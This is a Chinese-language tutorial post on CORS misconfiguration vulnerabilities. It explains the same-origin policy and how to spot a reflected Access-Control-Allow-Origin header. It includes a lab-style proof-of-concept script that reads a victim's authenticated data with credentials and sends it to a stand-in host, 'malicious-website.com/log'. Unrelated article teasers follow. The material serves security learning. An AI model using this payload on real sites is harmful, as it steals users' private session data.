CORS漏洞学习

news2025/4/13 1:46:47

CORS漏洞属于一个协议漏洞,具体是由于同源策略的设置问题触发的漏洞,漏洞利用条件较为苛刻,但实战中也常见。

首先要了解同源策略

什么是同源策略?

同源策略是一种Web浏览器安全机制,旨在防止网站相互攻击。

同源策略限制一个源上的脚本访问另一源上的数据。源由 URI 方案、域和端口号组成。例如,考虑以下 URL:

http://normal-website.com/example/example.html

这使用了方案http、域normal-website.com和端口号80。下表显示了如果上述 URL 上的内容尝试访问其他源,将如何应用同源策略:

访问的 URL允许访问吗?
http://normal-website.com/example/是:相同的方案、域和端口
http://normal-website.com/example2/是:相同的方案、域和端口
https://normal-website.com/example/否:不同的方案和端口
http://en.normal-website.com/example/否:不同的域
http://www.normal-website.com/example/否:不同的域
http://normal-website.com:8080/example/否:不同端口*

*Internet Explorer 将允许此访问,因为 IE 在应用同源策略时不考虑端口号。

为什么需要同源策略?

当浏览器从一个源向另一个源发送 HTTP 请求时,与另一域相关的任何 cookie(包括身份验证会话 cookie)也会作为请求的一部分发送。这意味着响应将在用户会话内生成,并包含特定于用户的任何相关数据。如果没有同源策略,如果您访问了恶意网站,它就能够读取您来自 GMail 的电子邮件、来自 Facebook 的私人消息等。

可以参考burp靶场What is CORS (cross-origin resource sharing)? Tutorial & Examples | Web Security Academy

CORS漏洞发现

添加origin字段,发现返回包出现Access-Contorl-Allow-Origin字段

漏洞利用,

1.上述触发条件

2.需要一个服务器放置钓鱼页面

3.引诱用户进行点击界面

复现

登录页面

在服务器上放置脚本界面

将上面的vulunerable-website.com换成下面的域名

var req = new XMLHttpRequest();#创建请求对象

req.onload = reqListener;

req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
#向https://vulnerable-website.com/sensitive-victim-data发送请求

req.withCredentials = true;
req.send();

function reqListener() {
   location='//malicious-website.com/log?key='+this.responseText;
#将返回包信息放到//malicious-website.com/log文件中
};

用户访问上面页面之后

返回的敏感信息

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1391922.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Angular系列教程之路由守卫

文章目录 前言路由守卫的类型CanLoadCanActivateCanActivateChildCanDeactivateResolve总结 前言 在Angular中,路由守卫是一个非常有用的功能,可以帮助我们控制用户在导航过程中的权限和访问限制。通过使用路由守卫,我们可以拦截导航并根据需…

使用@Slf4j后引入log,idea标红

引入Slf4j注解 idea标红Cannot resolve symbol ‘log’ 引入Lombok插件 如果在Marketplace查不到时,不妨关闭菜单再打开试下

STM32+HAL库驱动ADXL345传感器(SPI协议)

STM32HAL库驱动ADXL345传感器(SPI协议) ADXL345传感器简介实物STM32CubeMX配置SPI配置片选引脚配置串口配置 特别注意(重点部分)核心代码效果展示 ADXL345传感器简介 ADXL345 是 ADI 公司推出的基于 iMEMS 技术的 3 轴、数字输出加…

利用HTML和CSS实现的浮动布局

代码如下 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title><style>*{m…

0基础学java-day27(正则表达式)

一、正则快速入门 1 为什么要学习正则表达式 package com.hspedu.regexp;import java.util.regex.Matcher; import java.util.regex.Pattern;/*** author 林然* version 1.0* 体验正则表达式的威力&#xff0c;给我们文本处理带来哪些好处*/ public class Regexp_ {public sta…

Spark与HBase的集成与数据访问

Apache Spark和Apache HBase分别是大数据处理和分布式NoSQL数据库领域的两个重要工具。在本文中&#xff0c;将深入探讨如何在Spark中集成HBase&#xff0c;并演示如何通过Spark访问和操作HBase中的数据。将提供丰富的示例代码&#xff0c;以便更好地理解这一集成过程。 Spark…

c语言将csv文件中的XY轴数据转换为html波形图

目标&#xff1a; c语言实现一个最简化的csv转html波形图显示方案。 csv文件格式&#xff1a; 共两行数据&#xff0c;第一行是x轴数据&#xff0c;第二行是y轴数据。 csv文件名分为3段: 波形图名称&#xff0c;x轴名称&#xff0c;y轴名称。 c代码&#xff1a; int csv2html…

AP上线配置流程

AP工作模式 相应地&#xff0c;AR路由器的WLAN工作模式分为FAT AP和AC两种模式&#xff0c;不同的模式对应不同的使用场景。 FAT AP模式&#xff1a;AR路由器作为FAT AP&#xff0c;独立为用户提供WLAN接入服务&#xff0c;无线网络的配置在FAT AP上单独配置。FAT AP模式主要…

2024中国国际光伏展

2024中国国际光伏展将是中国举办的一个重要的展览会&#xff0c;专门展示光伏技术和产业的最新发展。该展览会将吸引国内外光伏企业、研究机构、政府机构和专业人士参展和参观。 在2024年的中国国际光伏展上&#xff0c;参展商将展示他们最新的光伏技术、设备和产品&#xff0c…

计算机网络-NAT网络地址转换

今天来回顾下之前所学的知识&#xff0c;将它们串联起来进行巩固。一开始了解了IP编址进行IP设置和划分网段&#xff1b;学习了二层以太网交换&#xff0c;了解了二层通信基础&#xff1b;学习了路由基础知识&#xff0c;大致了解到了路由是什么&#xff1f;静态路由和动态路由…

【代码随想录05】242.有效的字母异位词 349. 两个数组的交集 202. 快乐数 1. 两数之和

目录 242.有效的字母异位词题目描述做题思路参考代码 349. 两个数组的交集题目描述做题思路参考代码 202. 快乐数题目描述做题思路参考代码 1.两数之和题目描述参考代码 242.有效的字母异位词 题目描述 给定两个字符串 s 和 t &#xff0c;编写一个函数来判断 t 是否是 s 的字…

RabbitMQ交换机(1)

1.交换机Exchange RabbitMQ消息传递模型的核心思想是: 生产者生产的消息从不会直接发送到队列。实际上&#xff0c;通常生产者甚至都不知道这些消息传递传递到了哪些队列中。 相反&#xff0c;生产者只能将消息发送到交换机(exchange)&#xff0c;交换机工作的内容非常简单&am…

海外云手机:跨境养号的新趋势

近年来&#xff0c;市场综合数据显示&#xff0c;利用海外云手机进行跨境养号已经成为跨境电商发展的新潮流。特别是在社交电商营销和短视频引流领域&#xff0c;海外云手机不仅能够提高流量的质量&#xff0c;还能让商家实现业务翻倍增长。接下来&#xff0c;本文将简要阐述海…

亚马逊、速卖通、Shopee、阿里国际卖家:如何通过自养号实现店铺测评

跨境电商运营是对跨境电商项目运营过程进行的系统化管理&#xff0c;涵盖了策划、组织、实施和控制等多个方面。为了确保运营成功&#xff0c;需要关注以下关键因素&#xff1a;首先&#xff0c;要进行精准的选品&#xff0c;选择具有市场潜力和竞争优势的产品&#xff0c;以满…

Vue-23、Vue收集表单数据

1、效果 2、代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>收集表单数据</title><script type"text/javascript" src"https://cdn.jsdelivr.net/npm/vue2/dist/vue.js…

观察者模式介绍

目录 一、观察者模式介绍 1.1 观察者模式定义 1.2 观察者模式原理 1.2.1 观察者模式类图 1.2.2 模式角色说明 1.2.3 示例代码 二、观察者模式的应用 2.1 需求说明 2.2 需求实现 2.2.1 未使用设计模式 2.2.1.1 具体实现 2.2.2 适用观察者模式 2.2.2.1 优化调整说明 …

保送阿里云的云原生学习路线

近期好多人都有咨询学习云原生有什么资料。与其说提供资料不如先说一说应该如何学习云原生。 Linux基础知识&#xff1a;云原生技术通常在Linux环境中运行&#xff0c;因此建议首先掌握Linux的基础知识&#xff0c;包括命令行操作、文件系统、权限管理等。 容器化技术&#x…

【不用找素材】ECS 游戏Demo制作教程(2) 1.16

一、知识点补充 1.工程内部 上一篇最后一步运行时&#xff0c;突然发现 变成52:1了&#xff0c;难道每次baking都是随机的&#xff1f; 破案了&#xff0c;52是index索引&#xff0c;1是version版本号 如果您在场景视图中看不到实体&#xff0c;但仍然可以在游戏视图中看到…

速通——决策树(泰坦尼克号乘客生存预测案例)

一、决策树 1、概述 树中每个内部节点表示一个特征上的判断&#xff0c;每个分支代表一个判断结果的输出&#xff0c;每个叶子节点代表一种分类结果 2、建立过程 1. 特征选择&#xff1a;选取有较强分类能力的特征。 2. 决策树生成&#xff1a;根据选择的特征生成决策树。 3.…

AI扩展手写数字识别应用(二)

理解代码 输入处理 在新应用的代码部分&#xff0c;和我们在手写数字识别课程介绍的代码比起来&#xff0c;差别最大的地方就在于如何处理输入。在上个案例中&#xff0c;我们只需要简单地将正方形区域中的图像格式调整一下&#xff0c;即可用作MNIST模型的输入。而在本文的案…